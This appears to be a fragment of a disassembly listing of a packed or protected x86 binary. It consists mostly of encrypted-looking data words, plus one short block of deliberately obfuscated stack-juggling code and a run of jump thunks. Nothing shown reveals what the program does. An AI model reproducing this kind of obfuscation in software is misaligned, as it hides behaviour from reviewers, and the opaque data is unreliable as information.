		dd 9132613h, 88C2D2B0h,	0FB1C2755h, 0C91A094Dh,	0E6259516h
		dd 0C0FD59BBh, 0D40EF491h, 0AEDDFEA1h, 8EE8E041h, 0F8BEEE8Dh
		dd 616C9F0h, 773BF390h,	1BDF0D38h, 9080AEE1h, 25604431h
		dd 0A90890F2h, 2A9ED8CCh, 0C9F03A7Ch, 0EC4EC416h, 3D20F0CFh
		dd 5A3440CFh, 5A94F01Bh, 922FF927h, 771h, 2ACA3700h, 0A000000h
		dd 275588C2h, 0C8F62963h, 6D9BC604h, 12406BA9h,	1A155907h
		dd 239916C9h, 594530A7h, 0BFE590B3h, 57355285h,	3Dh, 5B88C297h
		dd 5F8DEF1Eh, 0F3E7A54h, 1A8BB872h, 5FD816C9h, 78264716h
		dd 16C91A36h, 0F24A75B4h, 0B3E6207Ch, 381EBB85h, 9A417CFEh
		dd 92C1F204h, 66C8FB36h, 4421C49h, 44E1ABD9h, 5588C216h
		dd 6F9AD8B2h, 22DA7741h, 2BC7F617h, 0EF3202C7h,	32DCA2D2h
		dd 6CE216C9h, 325B1BC9h, 0ED6316C9h, 4FBF1750h,	32AFFEACh
		dd 0BD331C34h, 0E11FF91Ah, 21BE88B6h, 2BCE013Bh, 48E51451h
		dd 5B9A74A1h, 327D41EFh, 0B811326h, 14B17BA9h, 1EC1F42Eh
		dd 9BDC0944h, 1A7C4674h, 56AEC57Dh, 482243E6h, 0E5AFDD0Ch
		dd 811E4D89h, 0DDE36DC7h, 9C3FB519h, 0EAAC5A7Bh, 0F016C8CDh
		dd 0B62C84B3h, 0C6F93319h, 12540223h, 9C16C8CDh, 91D58326h
		dd 1D16C8CDh, 7D630AA7h, 0CBE21043h, 0B2600373h, 1C33CB21h
		dd 0FC9ECF45h, 33698C1Ch, 4607F3Bh, 7DBD0000h, 17533956h
		dd 0A8E5CBE8h, 3B765C79h, 0C705EB08h, 677B7F9Ch, 0C5E20D4Bh
		dd 5A779EDFh, 0ED0A3574h, 7D9ACD07h, 5D21CFB0h,	61132611h
		dd 88C22A08h, 9CD8B255h, 0C4753F6Dh, 0B1D43A01h, 8F36D3E1h
		dd 0D0203362h, 0C29F1E93h, 612B5984h, 427C62FFh, 51926C0Fh
		dd 11D58D2Ah, 8676A4D7h, 1C564E27h, 23EDCCE9h, 3140CF0Dh
		dd 2A38DB02h, 0D6739985h, 31B5h, 0AD5B7C00h, 16C985E9h
		dd 0B4E27FF5h, 4A7176Fh, 325C3956h, 0DB15851Ch,	0C9A346A8h
		dd 88425F8Ah, 132054C4h, 405D90CAh, 0C2F01B5Ah,	3B906h
		dd 176F4600h, 0B4A6FADh, 791C7EE0h, 31F24ECBh, 69A37D1Ch
		dd 41B79936h, 0F22E0813h, 2C7220C3h, 0B213203Dh, 7FB99F3Ch
		dd 0ED101E4Ch, 171C988h, 0D52BB05Eh, 0B52B19D8h, 97075F98h
		dd 0F2C546F4h, 0DB511C31h, 0F41F5E38h, 66A0FCC6h, 1ADE9633h
		dd 9F83B1DCh, 0AC044D28h, 78DA0142h, 0D5A227D5h, 3EB419D8h
		dd 8D013B21h, 0C91A9FDFh, 0BA681F16h, 16C91AF4h, 0C02284FAh
		dd 6194CE92h, 43B30B44h, 2365F2A0h, 7D9E1C32h, 200C8FCFh
		dd 3F06B613h, 0A7CFE5B7h, 8836D94Fh, 132073C6h,	0D3B552C8h
		dd 0F5242F5Dh, 0BDF80D94h, 0E1925C8Ah, 0F12D7C49h, 9C360C2h
		dd 1320A039h, 0F576A53Eh, 2C5F99A9h, 0DC8334FEh, 473C2FC7h
		dd 33F4898Fh, 76FF34D1h, 0A2D10DE7h, 40DD0846h,	26FDBF61h
		dd 6CB145h, 9E780000h, 0A0DA365Dh, 0D8753F6Dh, 66176FAAh
		dd 1AD79745h, 61D716C9h, 0C91A6D31h, 0C6017116h, 399B6593h
		dd 9D8634D7h, 0E91C3229h, 95AD4573h, 0ED13200Bh, 0CD913FB3h
		dd 0D113200Bh, 7CBF95Bh, 7E6E9CCBh, 0E148561Fh,	35792748h
		dd 0B913200Bh, 0B3E10849h, 0B5EA87E9h, 0CE7C9DC0h, 13200B88h
		dd 2403A016h, 4526C67Ch, 0CB74h, 88C23A00h, 25632755h
		dd 1A4B0BB9h, 0DD5316C9h, 4F894D7Bh, 0F02AEE1Ch, 15E6A0BDh
		dd 5D16C917h, 2C4DF023h, 0C919387Eh, 0B350C616h, 10BEDF0Ch
		dd 16C9194Eh, 573DDA50h, 0A5BCEA1Dh, 8C3ADD4Dh,	1C321623h
		dd 9FD8F56Bh, 1334D747h, 1C0244F2h, 93331320h, 0BE1222FDh
		dd 87249AF2h, 0C668E2CDh, 0FB22819h, 0E68867E0h, 0C562543Ah
		dd 0A8567798h, 16CB88E6h, 0EFD572E8h, 836986B1h, 2DE91A45h
		dd 0A06F7265h, 1E4ECA8h, 1410000h, 9BD7BDDAh, 2C694F6Ch
		dd 0BFFAE0FDh, 4B896F8Ch, 0E3FF0320h, 516E99D7h, 0E6032A6Bh
		dd 7996C100h, 9265993h,	0E9AD5B3Ch, 0F5132617h,	4C7BBE9Ch
		dd 0AA3A1CEBh, 0E7CD6ABEh, 7B617EA9h, 0C3F10E41h, 4A7176Fh
		dd 32294D56h, 5402B91Ch, 13200B12h, 8BCA269Ch, 0C5D0FE60h
		dd 5280AFEBh, 1131EB88h, 7113200Bh, 12D60437h, 179A7D6h
		dd 74DBC3B2h, 4709A2D3h, 594526C6h, 0CCh, 5588C21Fh, 0D88283B2h
		dd 986EFAD1h, 417F43FBh, 0D26727D5h, 0F16716C9h, 7C56618Fh
		dd 0BD77143Bh, 16C9DF4Ch, 0FC194C86h, 0BE00AECFh, 4016C9D1h
		dd 0D472DCAh, 215D37DAh, 5DFAC4F2h, 0C6368EA5h,	0DED87523h
		dd 0B0261C32h, 92025A93h, 4B3541EFh, 0C33919C6h, 0DD084620h
		dd 0C47293C0h, 16CB6182h, 13F9960Ch, 0EB79AAD5h, 0FA6F727Ch
		dd 0F44602h, 11510000h,	0ABE7CDEAh, 3C795F7Ch, 0CF0AF00Dh
		dd 5B997F9Ch, 0D30F1330h, 617EA9E7h, 0F6133A7Bh, 89A6D110h
		dd 193669A3h, 0F9BD6B4Ch, 5132614h, 84C2CEACh, 1C563C59h
		dd 0DE939Ah, 0C9020C52h, 6B1C9216h, 0E2444956h,	2E701E3Fh
		dd 0B016C9B8h, 0A5E9973Ah, 2916C9B8h, 416F16B3h, 0B25588C2h
		dd 126E99D8h, 0AE78A6D5h, 5B955911h, 6CAB8528h,	0A6491341h
		dd 0C91AB6F8h, 25C23816h, 7DED457Eh, 1A752CDAh,	77D1C34h
		dd 0A8DB15D9h, 0E96BA58Bh, 0C7D61877h, 80383649h, 49448B91h
		dd 0BF5785E7h, 36D4D876h, 1CCA3674h, 3FD0D05Ah,	5E8CEE64h
		dd 432599Ah, 0A7D50440h, 9ED774DDh, 3E375A00h, 0DCF92C66h
		dd 5B89BCF6h, 0EE2F5C97h, 1ECF99C7h, 633E20CFh,	0A9D739EAh
		dd 7D274EC5h, 0ABDA1643h, 31145A08h, 249A3FD0h,	85BFA5C2h
		dd 3682452h, 0A8000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh
		dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h,	13E0230h
		dd 0A4E0A4D2h
		db 75h,	47h, 86h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	3513h
		mov	[esp], eax
		push	2AC6h
		mov	[esp], ebx
		push	edi
		push	5EF00AAh
		pop	edi
		mov	eax, edi
		pop	edi
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [ebx+8]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5461C3
; ---------------------------------------------------------------------------
		db 88h,	3Dh, 0F1h
		dd 8B4198D2h, 0B8A2581Eh, 5EF0F8Ah, 0E0FFC503h,	372050B9h
		dd 122DC501h, 197FAD31h, 280B1834h, 49E26431h, 7BF9DDF1h
		dd 6CA6721Eh, 1C5775A6h, 400F4328h, 54D58E9h, 0B3690C4h
		dd 31CDE4E1h, 2562417Dh, 0DE8h,	0D9C73200h, 98345203h
		dd 96AD8303h, 0FE978BBh, 29000000h, 44755BCh, 44DDE7E2h
		dd 83AF72DBh, 525BC2B9h, 5AC38B66h, 760CC381h, 0BA660000h
		dd 71B96DD3h, 8168B757h, 0B73A2AE9h, 338BF568h,	12E8h
		dd 4063D400h, 8143CF37h, 0ADD949A5h, 2CF9004h, 8A98BDE7h
		dd 0EE815AD7h, 6101DA67h, 9E9h,	0E1010900h, 0B43F5A50h
		dd 0EE8116A6h, 26ED0806h, 0B810Fh, 6E90000h, 0AB000000h
		dd 51E3E5ABh, 95C6819Ah, 0BA00C01Eh, 98C571h, 0B1606056h
		dd 0F08166E1h, 6061BDCAh, 5B535F56h, 38F6161h, 0DE9h, 5FB2BA00h
		dd 8AC2A5C0h, 4655B5E7h, 0EB83F3B2h, 8A0F6004h,	2, 816644B7h
		dd 61BDF8D2h, 0F01E983h, 1085h,	0C78B6600h, 1CE9h, 5F4F2100h
		dd 33005787h, 0E9D08A59h, 0FFFFFF56h, 7BE68ABBh, 3ADAB403h
		dd 0CEB371AEh, 17DE914h, 5D600000h, 16C4FFEh, 0D1D76FC2h
		dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h,	92A59EB9h
		dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh
		dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh
		dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh
		dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
		dd 0F8000000h, 0A43736D1h, 6AD3C20Dh, 0E90AA1F7h, 107Bh
		dd 0EF149768h, 3767E905h, 9E68FFFBh, 0E905EF15h, 0FFFB375Dh
		dd 0EF16DD68h, 3753E905h, 0AE68FFFBh, 0E905EF17h, 0FFFB3749h
		dd 0EF191A68h, 373FE905h, 1F68FFFBh, 0E905EF1Ah, 0FFFB3735h
		dd 0EF1ADF68h, 372BE905h, 4168FFFBh, 0E905EF1Bh, 0FFFB3721h
		dd 0EF1C3168h, 3717E905h, 0D568FFFBh, 0E905EF1Ch, 0FFFB370Dh
		dd 0EF1D9A68h, 3703E905h, 6668FFFBh, 0E905EF1Eh, 0FFFB36F9h
		dd 0EF1F3B68h, 36EFE905h, 8D68FFFBh, 0E905EF20h, 0FFFB36E5h
		dd 0EF217C68h, 36DBE905h, 50B0FFFBh, 1379BC8Bh,	0E74A8D5Ch
		dd 0BA1E6130h, 8AEF3201h, 493B00CFh, 0B1803BA0h, 7F4E0D6Eh
		dd 4F1ED53Ch, 22F1AA0Ch, 99413C9Dh, 2D851E4h, 97F9E7DCh
		dd 637623E0h, 0A78D4A01h, 8942A4C9h, 9F502EBAh,	0D6CBDB8h
		dd 0EF35E3A8h, 0F728532h, 416D7A58h, 6AD857E1h,	0A7DEE9AAh
		dd 0BE367DFEh, 0ECB612D2h, 97A096D2h, 4B9977h, 75D88C30h
		dd 46h,	25DEB0D6h, 0E8C1073Eh, 1C8DF1C7h, 0CBD8D33Eh, 0A2E3A850h
		dd 0FC92D8Fh, 0A1298982h, 0C5563454h, 4F73C27Fh, 0A4D857C3h
		dd 5FC68340h, 0FE823FFAh, 360B4310h, 84C72576h,	35D88BD5h
		dd 2C0AC122h, 0DC7Dh, 97F9DE00h, 57BC23E0h, 0D932DF9Ch
		dd 0BEF7F4DEh, 7B599FDDh, 7633F456h, 1FEEAD0Fh,	0BEFB38F4h
		dd 0B9F153DDh, 0BC51F753h, 0FB89FE37h, 0C1D4BBDBh, 6ECA960h
		dd 3092D528h, 740ABA77h, 403B947Bh, 0DDBEAC96h,	0B51ABB01h
		dd 7D5B41FEh, 40A6B912h, 6E4CA87h, 0A8411CF9h, 0D7D22BE3h
		dd 0D85788EFh, 0E3745298h, 3245CE9Dh, 0CA3816CDh, 0FB543BB4h
		dd 0FF538FC4h, 0E3C138B4h, 43752CD6h, 0AA91D7E6h, 93F63297h
		dd 113117D4h, 0DF9AFF42h, 0D2CE56ECh, 8FFFC2CBh, 0DD4h
		dd 7A490262h, 4B1AD137h, 17E6A508h, 0E4B370D4h,	0B6853CA1h
		dd 0F15693F1h, 0C7286B3Ah, 8BF23504h, 60C205D4h, 0F253D8A7h
		dd 51E3CFF7h, 9D92B8D8h, 1F037CB3h, 0F10D4C8Bh,	5189EE13h
		dd 4A1939F0h, 17E6A507h, 25DEB0C0h, 8BE433Eh, 0FA0DE3A8h
		dd 0D53CDD96h, 9D7B611Eh, 0BA09C60Ch, 0D857E614h, 48BAF7B7h
		dd 0D88BB303h, 873EA1B4h, 0DFFAA9h, 16290000h, 5036F3B4h
		dd 97F93972h, 0F7B41E19h, 99DFDDBEh, 0F055BC79h, 772D7C39h
		dd 8CDDBEFBh, 5FA2712Ah, 9F56BDFDh, 443F987Fh, 0DDBEF29Ah
		dd 0A0E1BF05h, 379F9AF3h, 60DDBEF2h, 0B0CE3C1Ah, 0B85D583Fh
		dd 8FE3A81Fh, 82601B7Ch, 50DCABF1h, 0E3DEC53Eh,	0E6438528h
		dd 6FC8AFF5h, 5699FE38h, 6480DD08h, 4A4C1120h, 75D67703h
		dd 3513F9B6h, 21F0AB10h, 0D68B6198h, 1D2797FDh,	0FEDCFCBBh
		dd 0FBF674D9h, 0D66A1AD3h, 635676BCh, 0CBD3B0FDh, 0CDFC6C2Fh
		dd 5B00000Ch, 2E7140FBh, 0FD400FC8h, 0C90CDB9Ah, 9CDFAE65h
		dd 0E8AD7C37h, 31E84D9Ch, 0FBBE1F62h, 0CB82E92Ch, 0A057B9FCh
		dd 0F0EB4CD1h, 0D851E2C6h, 0B3968BB1h, 1626B67Ch, 6560F30Eh
		dd 0DDBED57Dh, 0E2C0E026h, 0D2A158BDh, 9F6E2D8Fh, 0E097F948h
		dd 0C982E6F9h, 0E143AAEBh, 0D18E45A9h, 32E94AEBh, 0A06F8F75h
		dd 0D7E47A14h, 3886D71Fh, 5A17D032h, 4D345474h,	0A702A152h
		dd 57145AE3h, 570BDA08h, 744505D8h, 8C9DB596h, 8AEF02D8h
		dd 4E2C12CFh, 3F9Fh, 0DEB00000h, 0A6433E25h, 0FFE3A805h
		dd 1ADFCB9h, 0AAD857F9h, 103BA9EAh, 65D88BCBh, 20h, 25DEB0C6h
		dd 2112433Eh, 458BE3A8h, 0DC953988h, 7636D857h,	0CC84C725h
		dd 0CF1D88Bh, 52000000h, 8F7F0h, 0A90A1D00h, 0B0DB14F2h
		dd 433E25DEh, 0E3AE0939h, 0E0392066h, 788830A9h, 0BB99DE9Ch
		dd 0A4733496h, 8B48FF61h, 6B52A3DBh, 41811370h,	0D7BE04E6h
		dd 0DAA962C4h, 0B9763597h, 4C1D50Ch, 12CF8AEBh,	0A484672Ch
		dd 2965D3B1h, 9D98F1D8h, 0D660C035h, 7336975Eh,	0F0A7553h
		dd 0E87633D2h, 384A3D83h, 0CD1C018h, 0B8ED949h,	0BC1C0000h
		dd 87ED30FFh, 5BBE01D0h, 268ACD9Ch, 0F65B9E6Dh,	0DDA76C3Bh
		dd 1DECA70Ch, 0F3C279DAh, 0C39249B0h, 8E5D1E80h, 5ADA809h
		dd 6ED851E1h, 0A0B35348h, 0DDC3803Bh, 6421DA3Ch, 2F93A07Eh
		dd 7BDDBEF8h, 0C5DF4D03h, 427DEB61h, 24403B22h,	73E3AE79h
		dd 0BCD25E2Dh, 86A65DC2h, 8B90A49Fh, 89CFE641h,	6E2D8FA2h
		dd 8B332E87h, 1AD66063h, 6063B71Fh, 8D9AE0D6h, 0D3166947h
		dd 7AD3BA71h, 6063577Fh, 1CFA40D6h, 0DB532BDBh,	6063F6E0h
		dd 9994A1D6h, 0D6606331h, 0D4F4145Ah, 9C85F2EDh, 387EE870h
		dd 1BDC3E51h, 0F0A7094Ch, 51F8E433h, 0B4CA4C73h, 0E8FB543Bh
		dd 0D9E6C487h, 726A5B84h, 3DFE6073h, 9588CE5Fh,	57B1F0DFh
		dd 0BD1A8A4Dh, 4B00000Ah, 1E6130EBh, 0ED30FFB8h, 0B9FCCB8Ah
		dd 8CCF9E55h, 0D89D6C27h, 21D83DACh, 0EBAE0F52h, 0BB72D91Ch
		dd 9047A9ECh, 0E0DB3CC1h, 0D851E0F6h, 0B3867BA1h, 0F7775F5Ah
		dd 0DA20DDBEh, 0F7CEF8F3h, 73B9DDBEh, 9E572795h, 8942A4B7h
		dd 9D08E6CCh, 0AE088AA2h, 0AA0ED5E3h, 2E4E34F1h, 19D23447h
		dd 6D68C14Ah, 0D851E645h, 0E447E82Eh, 0A4826825h, 0A15E1D7Fh
		dd 7D649DF1h, 4119FE82h, 7C63A9E6h, 0F0AB1023h,	0CC8BED12h
		dd 9F58BAFDh, 8443A5B8h, 0C203E1C7h, 9C837C12h,	702A5CA1h
		dd 0D7D22BE8h, 0CC73C4EFh, 0E3745298h, 41A3B69Dh, 1F32BB8Ah
		dd 1C17FEBDh, 0CC73C4B2h, 94B997DDh, 0FBC7932h,	0C413BBB6h
		dd 0A7A2CC73h, 0CC73C43Fh, 0CF152268h, 0C4FEE4F1h, 0B2CCCC73h
		dd 195F5A41h, 0CEF2633Bh, 2C8EA188h, 0B301A9A4h, 246ACA02h
		dd 0C9C41D04h, 0CA02B3E1h, 625D448Ah, 0CA02B278h, 0ACFFDD23h
		dd 0F0AB1023h, 4A6F4D33h, 0C2722FE8h, 154C33CCh, 5F2F33D9h
		dd 41AC8A4Ah, 12803646h, 433E97F4h, 0C0156D9Bh,	4FE0BE04h
		dd 78D23064h, 0D2C85A4h, 9F6D32DDh, 0E9A6C6B3h,	0E5EA053Ch
		dd 4219C1BCh, 3C82C015h, 3DC43077h, 649DF15Fh, 50076A7Dh
		dd 64CFAD93h, 3030C69h,	0EDE8F5FEh, 0FE2AC3C5h,	554868AEh
		dd 0E3936919h, 51D04003h, 0DF000009h, 0AAEDBC7Fh, 79BC8B44h
		dd 4D905F16h, 206332E9h, 6C3100BBh, 0B56CD118h,	8742A3E6h
		dd 570E75B8h, 24E34588h, 746FD055h, 0D851EE4Ah,	0F91A0F35h
		dd 0BC23E097h, 61BAA15Ah, 0BEF77C66h, 3E127DDh,	5C933EC2h
		dd 5A8DE90Dh, 77250338h, 0D88FF13Ah, 0BE7DDEF1h, 0EA3D1B01h
		dd 0A38CCD7Eh, 7A6D2h, 0F0070000h, 513h, 0EA24B44Fh, 79745B94h
		dd 0E3A805B0h, 0F9319259h, 0FEBBDB92h, 8C363118h, 0F7D857F8h
		dd 35C691B1h, 4D0AC122h, 3C7C8967h, 11B523C7h, 0C99FC1DAh
		dd 7553E22Ah, 977E7707h, 0C69B433Eh, 114C054Ah,	5D6F9903h
		dd 5AFB414Eh, 0F96442F9h, 5C00DDFEh, 0C380C63Bh, 0A3097B13h
		dd 0EAE5CCECh, 3D764457h, 97CE2F66h, 975C137Ah,	4321E714h
		dd 2C856CB2h, 77858931h, 0CEACF239h, 2DEE5063h,	48F30F46h
		dd 415C3CF9h, 0D862F07Ch, 0AA8897ABh, 0F9B21457h, 0CE385A06h
		dd 77E7AA24h, 84Ch, 0F2C17ADAh,	0C39249AFh, 8F5E1D80h
		dd 5C2BE84Ch, 2EFDB419h, 69CE1B69h, 3FA0E3B2h, 36AAD7Ch
		dd 0D83A7D4Ch, 6ACB501Fh, 51ED476Fh, 150A30D8h,	0F9E097F9h
		dd 0EAC87FE6h, 26DD42A9h, 59BBCE57h, 21FFE5A2h,	432ADBB3h
		dd 2C9691EAh, 0C3DDBEF7h, 569CA960h, 0F74A746Fh, 0EF35DDBEh
		dd 8460411h, 1B61E3AEh,	4BB2134h, 18836147h, 15E4A305h
		dd 0FAB770D2h, 0A116344Ah, 0B0C5E971h, 2A614868h
		dd 0F3AE9A6Ah, 93FEDC49h, 41948898h, 99AEE5E6h,	4A9D2101h
		dd 3441D2B0h, 60FF9139h, 94B4FAD6h, 0DE4154ADh,	0C2244927h
		dd 45652688h, 1AD13376h, 0DA91F65Dh, 0D955B7E7h, 4EBE81CBh
		dd 78Ch, 3201BA1Ah, 3D289EFh, 0CF9E5DC0h, 9C6B288Ch, 6E3DF459h
		dd 0A90EDBA9h, 7FE023F2h, 43AAEDBCh, 187ABD8Ch,	0AA0B905Fh
		dd 51ED07AFh, 554A70D8h, 3E25DEB0h, 0AE083D43h,	3D246AE3h
		dd 400FC82Ah, 1FDC9BFDh, 3EFD5F72h, 4FBD9B81h, 0E4DFC63Fh
		dd 0E647309Fh, 4D0F0248h, 9FCBDF63h, 72A6CDCh, 58B80000h
		dd 1B81C493h, 0EF529564h, 0C2266938h, 92F73A09h, 414308D7h
		dd 0B98843A8h, 87561576h, 5726DD44h, 2AF9B214h,	614944A5h
		dd 0AD851ECh, 97F9EFE4h, 0A5A0F9E0h, 0DDBEF73Dh, 1422066h
		dd 0C27F389Ah, 0CA03503Eh, 6FC8AF68h, 0BEF74A74h, 4EEF35DDh
		dd 0FF5230E7h, 0A8B93F76h, 397F0C1Fh, 653E0D5Bh, 737D2A3h
		dd 98000000h, 2E6F0h, 97F94F00h, 1B7323E0h, 780803EAh
		dd 2FE3AE09h, 75D71AE9h, 2D92F9B6h, 0C51EA776h,	51E4E0CAh
		dd 67458BD8h, 856C85F9h, 411CA98Ah, 0A58CD2E6h,	9DB03092h
		dd 0DDC38037h, 60D26A54h, 0AFCF15D6h, 7C3B9DE0h, 38F358BFh
		dd 42B3CB7Bh, 24E7485Bh, 0CABC8167h, 6AA552F7h,	0E841AC8Ah
		dd 12B372D5h, 5137F4ABh, 84BD6673h, 798CE876h, 0BEA46118h
		dd 1DFBBA1Dh, 6F53468Ch, 0D9D1C0BEh, 63AA616h, 68C80000h
		dd 2B91D4A3h, 0FF62A574h, 0D2367948h, 0A2074A19h, 315318E7h
		dd 0C99853B8h, 97662586h, 6736ED54h, 3A09C224h,	715954B5h
		dd 1AD851EBh, 7CB3FFF4h, 0FE1F77BFh, 6C0626C7h,	75106A2Fh
		dd 0DF537B76h, 0F63CDDBEh, 71D3F8D6h, 3496FDBAh, 0EE4FB673h
		dd 0A1076E2Bh, 0BBA92DEAh, 0AF8B6FEh, 69228449h, 4F0A6F82h
		dd 5E951E71h, 36A5042h,	0E4A98F4Ch, 0F559EC75h,	7B9B813Eh
		dd 0A4FC4F9Dh, 1079D2A3h, 0DA000000h, 43077CB3h, 3E531387h
		dd 13A3260h, 0F9910000h, 0DBEDE097h, 69C0075Eh,	59636A6h
		dd 0C4240000h, 8FF53807h, 63C609D8h, 2E92D5A4h,	0FE63A675h
		dd 0D5AF7443h, 25F4AF14h, 0FBCA81E2h, 0CB9A51B8h, 96652688h
		dd 0DB5B011h, 76D851EBh, 97F95B50h, 7C2F9E0h, 662C83A9h
		dd 0BB226341h, 61E5A259h, 8BED2673h, 918CE5CCh,	0DDBE4629h
		dd 0DB2E0C52h, 0A36EDC6Fh, 2899D2h, 0F0FA0000h,	0C8h, 5F5AB34Fh
		dd 0DDBEF777h, 0CEFCDA20h, 0B8h, 0B16BA2FBh, 0EAFBF78Ch
		dd 9AC5ED76h, 68AEDDBEh, 0DEB0518Ah, 0D2E53E25h, 0B016B770h
		dd 40C19F7h, 33E3AE09h,	9552096Ch, 25D28FAFh, 0E4E9D1CCh
		dd 4C92D851h, 758E006Eh, 0BF22358Eh, 87654B08h,	4732157Ah
		dd 0C5B8FEE6h, 0CBDF63EDh, 0D1047437h, 5F000004h, 2A6D3CFFh
		dd 0F93C0BC4h, 0CD10DF96h, 0A0E3B269h, 0ECB1803Bh, 35EC5198h
		dd 7C22366h, 0D78EF538h, 0A463C508h, 0F4EF50D5h, 0D851EACAh
		dd 0B39A8FB5h, 0C58239A0h, 21DA3EDFh, 32A07E64h, 5BE225Ch
		dd 4203FEE5h, 5BE3A845h, 0B81B2E15h, 0DA073201h, 37D857B8h
		dd 793095D5h, 0E4478A59h, 6DF86825h, 57000004h,	3E25DEB0h
		dd 0E56EEF07h, 0FFDDDD70h, 77979994h, 7AC0E3AEh, 0B9710DBDh
		dd 516714BEh, 0AAA5D8h,	6BD85167h, 0B2D21825h, 0B1A3D0CBh
		dd 677AE647h, 0A58B4803h, 87981FE0h, 0C6A41389h, 0D4CF2835h
		dd 0D66631EAh, 1CC64F95h, 0F3D66631h, 0DEC9D68Dh, 0CDDBFFB7h
		dd 0AF50703Bh, 786B8B4Eh, 0CBDF908Ch, 5AD1DE0h,	93000004h
		dd 66A97833h, 35784700h, 14413D2h, 0D417E69Dh, 20E5B46Fh
		dd 69208564h, 33F6579Ah, 3BA2164h, 0D88FF134h, 28238409h
		dd 0D851E9BEh, 0B0CEC3E9h, 0E53E25DEh, 0F729918Ch, 719ADDBEh
		dd 7D4E9967h, 351C626Fh, 0BED9903Ah, 0D7B5FBDDh, 0AE2742CAh
		dd 0C0A7EDE3h, 0C1E74BADh, 3688C741h, 73B685A5h, 1A735A11h
		dd 5132B71Fh, 0BC9AE0D8h, 42B3CB7Bh, 0CD23605Bh, 0E31AE641h
		dd 0D1650527h, 76DB7C33h, 64CDDBBh, 0EEA50C1Fh,	512FE64Dh
		dd 0BA71D3E6h, 0E046A8EBh, 0D7303D68h, 98423D7Bh, 3D6607Ch
		dd 0BBB69DBDh, 0D6607C13h, 5916367Ch, 351CD5A9h, 768FE53Ah
		dd 0FC9DD4E8h, 0F9E924F3h, 4A57E8C6h, 792E674Fh, 0AACA10CCh
		dd 0C087CBB7h, 0E25215D1h, 330h, 0CE9D5EBEh, 9F6E258Bh
		dd 7342F95Ch, 400FCC30h, 12E198FDh, 4DB2374Dh, 2384C796h
		dd 0EF569968h, 0C4266938h, 4EAF3403h, 51E86B53h, 0F9EE14D8h
		dd 0F9E097F9h, 5DF3EDC2h, 0E7ACAF81h, 5426E06Eh, 62A3813Fh
		dd 13E299FBh, 1A7DF787h, 908338B6h, 0E202D855h,	381F3F25h
		dd 0B269CCDFh, 24310FF5h, 0E3A896C3h, 4A99569Ch, 0D8574664h
		dd 0BBCA8747h, 467F6762h, 1B28D857h, 5746B620h,	7B9BE1D8h
		dd 6EFC4F9Dh, 2C79D88Ch, 0DA000000h, 3E25DEB0h,	0B86FD2E5h
		dd 2A3715FBh, 0E3A808A5h, 0E6A507CEh, 66234329h, 57E6AB17h
		dd 75414D8h, 8BB2A6A5h,	0DCCFD8h, 0F9300000h, 0A0F9E097h
		dd 0BEF73DA5h, 0B66DD2DDh, 0C00613F9h, 0F7F4DED9h, 599FDDBEh
		dd 6ED33A7Bh, 3649F6B3h, 107516D5h, 0F4567B59h,	0AD0F7633h
		dd 3D961FEEh, 0BEF79842h, 0D6BD03DDh, 0BEF7F3DBh, 78569CDDh
		dd 0BEFBB16Bh, 0AF68CADDh, 0CD53B5C8h, 0BEF2E8D2h, 2D4D93DDh
		dd 57B9FC4Fh, 0CF82B9A0h, 0BF7ADF23h, 31571C02h, 0DD1EFC31h
		dd 0B9A0512Dh, 0A7F8CDBEh, 0C190D6E3h, 0C1A85935h, 43B947C6h
		dd 331A60E6h, 3100BB20h, 622D89EEh, 80B3A628h, 8F897C9Ch
		dd 0DDCBD30Dh, 1DEAA1Ah, 0C6C0000h, 0D73D804Fh,	0AB0E5120h
		dd 76DA1DECh, 46ABEEBDh, 8DF7BC8Bh, 6D3CF75Ch, 4312C92Ah
		dd 13E29900h, 0DEAD6ED0h, 0D5FDF859h, 0BED851D7h, 94F9A398h
		dd 69CB0EDDh, 52B8CBB2h, 18F6DC99h, 7CB36EC5h, 4B2FF7AFh
		dd 2A987628h, 0B9B49B54h, 0E3A8B334h, 6D55505Dh, 16D8573Bh
		dd 46F3B0D0h, 3BC8F2EDh, 6DB3D857h, 3B5C828Fh, 0BF7FD857h
		dd 6D3B10F2h, 0AF38D88Ch, 99000000h, 0F9E097F9h, 0F73DA5A0h
		dd 2066DDBEh, 359A0142h, 2384977Eh, 0FA498A68h,	0DDBEFB22h
		dd 2A03DC13h, 984CF58Bh, 743395BAh, 0A5091CA5h,	6D4B31EEh
		dd 6825E648h, 462DC6B8h, 0A76BBA4Bh, 4E1D63E3h,	0A6558EC5h
		dd 0D3E66A5Dh, 7DF787F5h, 563D5D1Ch, 0C2D802FDh, 7DC3D857h
		dd 6939349Fh, 32E64399h, 8DF205ECh, 5FC407D6h, 0B5A9B1A4h
		dd 38FBCBD3h, 0EFC8h, 5E1D7D00h, 2DE64C8Fh, 1B81B5Eh, 0D08BEF32h
		dd 0A259BE01h, 73760ED3h, 4184530Eh, 175A29E0h,	0E72AF9B0h
		dd 72F7C685h, 0D6AC1611h, 0B1D7D851h, 0DD94F9BCh, 0B269CB0Eh
		dd 97F98CE3h, 7E3BFE5Fh, 7E917898h, 0F6A36017h,	0BEF7D3FBh
		dd 5676BCDDh, 6ED03778h, 4EB3C6ADh, 0F7E9D1CCh,	4C92DDBEh
		dd 604A452Ch, 0BDDBEF7h, 894E7C5h, 9B967D76h, 0E3AE09E9h
		dd 0AF66C9DCh, 13FA40D1h, 0DB81B3DCh, 16F49B49h, 4B0C6ED5h
		dd 9FD7397Ch, 0DCC27F3Ah, 23B0FFBCh, 72E8E291h,	0FE6095E6h
		dd 0E143563Dh, 0CF8C43A9h, 260CC9E9h, 0AC692085h, 5295E8C6h
